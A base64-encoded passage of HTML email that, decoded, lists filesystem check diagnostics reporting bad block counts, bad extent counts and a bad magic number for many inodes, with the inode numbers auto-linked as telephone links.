ODQ3MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJl c2V0IHRvIDMwNzU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBu YmxvY2tzIDE5MyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgyODc2NyI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgyODc2NzwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDE4NDwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgODE4IGZv ciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI5MTkyIj48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI5MTkyPC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gODMzPC9mb250Pjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA5NyBmb3IgaW5vZGUgPC9mb250 PjxhIGhyZWY9InRlbDoxNjgzMzY1OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNjgzMzY1ODwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDkxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5iYWQgbmJsb2NrcyA0OCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDox NjgzNjAyMCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x NjgzNjAyMDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxk IHJlc2V0IHRvIDQ5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAxMjM3IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODM3NjE1Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODM3NjE1PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTI0 OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNjIy IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODQzODU1Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODQzODU1PC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjIxPC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA4MTEgZm9yIGlub2RlIDwv Zm9udD48YSBocmVmPSJ0ZWw6MTY4NTEwNDYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+MTY4NTEwNDY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA4MTc8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDk0IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjE2ODUyOTUyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjE2ODUyOTUyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwg d291bGQgcmVzZXQgdG8gOTM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmJhZCBuYmxvY2tzIDY0OSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjg1ODkxOSI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg1ODkxOTwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRv IDY1NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3Mg MTIxIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODYxNzgwIj48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODYxNzgwPC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTIwPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA5NTg1IGZvciBpbm9k ZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODYzMDk1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODYzMDk1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTQ1NzwvZm9udD48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5leHRlbnRzIDIzNSBmb3IgaW5vZGUgPC9mb250Pjxh IGhyZWY9InRlbDoxNjg2MzA5NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjg2MzA5NTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4sIHdvdWxkIHJlc2V0IHRvIDIzNDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+YmFkIG5ibG9ja3MgNDMzIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 ODY4NjkxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 ODY4NjkxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gNDIzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmV4dGVudHMgMjA2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODY4NjkxIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODY4NjkxPC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjA1 PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyNzIx IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODcwODAxIj48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODcwODAxPC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjcyMDwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTAyNSBmb3IgaW5vZGUg PC9mb250PjxhIGhyZWY9InRlbDoxNjg3MDkwMCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4xNjg3MDkwMDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDEwMTU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDIzNzEgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY4NzEzMTEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY4NzEzMTE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byAyNDAyPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5iYWQgbmJsb2NrcyA1NDcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4 NzM5OTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4 NzM5OTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCBy ZXNldCB0byA1NjE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBu YmxvY2tzIDMwNzEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4NzY0NDEiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4NzY0NDE8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDcz PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyNyBm b3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjg3NjU4MiI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg3NjU4MjwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI2PC9mb250Pjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMiBmb3IgaW5vZGUgPC9mb250 PjxhIGhyZWY9InRlbDoxNjg4OTM1NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNjg4OTM1NDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5iYWQgbmJsb2NrcyA2ODIgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY4OTYxNzEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY4OTYxNzE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3Vs ZCByZXNldCB0byA2ODk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJh ZCBuYmxvY2tzIDE2MTcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4OTY3OTIiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4OTY3OTI8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAx NjE4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAy NDQgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MDYzNzAiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MDYzNzA8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyNTc8L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDI0MTcgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5MTEzNjgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5MTEzNjg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyNDE2PC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA5NTAgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5MTI2ODIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5MTI2ODI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA5NDk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDIzNTAgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5 MjMwNzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5 MjMwNzI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCBy ZXNldCB0byAyMzU0PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAxMDE2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTIzNTQ5Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTIzNTQ5PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTAy NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG1hZ2ljICMgMHgy MDMxMzAzMCBpbiBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTI3NzIxIj48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTI3NzIxPC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyhkYXRhIGZvcmspIGJtYnQgYmxv Y2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA1NTM0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDU1MzQ8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIGRhdGEgZm9yayBpbiBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2OTI3NzIxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2OTI3NzIxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPndvdWxkIGhhdmUgY2xlYXJlZCBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTI3 NzIxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTI3 NzIxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBu YmxvY2tzIDI0MSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjkzODM2MyI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkzODM2MzwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI0MDwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjg5IGZv ciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQwNDAwIj48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQwNDAwPC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjU3PC9mb250Pjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgMzIgZm9yIGlub2RlIDwvZm9u dD48YSBocmVmPSJ0ZWw6MTY5NDA0MDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+MTY5NDA0MDA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTA2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2OTQyMTIyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2OTQyMTIyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291 bGQgcmVzZXQgdG8gMTEzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAxMDUzIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ2NDA1Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ2NDA1PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8g MTA1NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3Mg NjgxIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ4Nzc2Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ4Nzc2PC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjg5PC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA1NjIgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NDkwMTEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NDkwMTE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA1NjE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuZXh0ZW50cyAyMDAgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5NDkwMTEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5NDkwMTE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byAxOTk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDE0MiBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk1 NzI5NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk1 NzI5NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJl c2V0IHRvIDE0NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5i bG9ja3MgNTEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NjAzNjIiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NjAzNjI8L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA2NTwvZm9u dD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgODk4IGZvciBp bm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTY3MDcyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTY3MDcyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTEzPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzNTQgZm9yIGlub2RlIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5NzI1MTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5NzI1MTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCB3b3VsZCByZXNldCB0byAzNjk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDUwOCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDox Njk4MTAyMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4x Njk4MTAyMzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxk IHJlc2V0IHRvIDUxMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFk IG5ibG9ja3MgMjE2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTgzMjcxIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTgzMjcxPC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjI1 PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA4MyBm b3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk4MzI4MCI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4MzI4MDwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDk3PC9mb250Pjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA0MjIgZm9yIGlub2RlIDwvZm9u dD48YSBocmVmPSJ0ZWw6MTY5ODcwNDkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+MTY5ODcwNDk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA0MzM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDEwNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY5OTAzMDYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY5OTAzMDY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3 b3VsZCByZXNldCB0byAxMDU4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5iYWQgbmJsb2NrcyAxODAgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTI2ODci Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTI2ODc8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0 byAxOTM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tz IDM5IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTk1MjM5Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTk1MjM5PC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNDk8L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwODUgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDkxPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzOTAgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTcwMDA2NDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTcwMDA2NDA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA0MDE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDEzNDUgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcw MDQ4MjQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcw MDQ4MjQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCBy ZXNldCB0byAxMzQ2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAyMSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNzAwNTYyMSI+PGZvbnQg 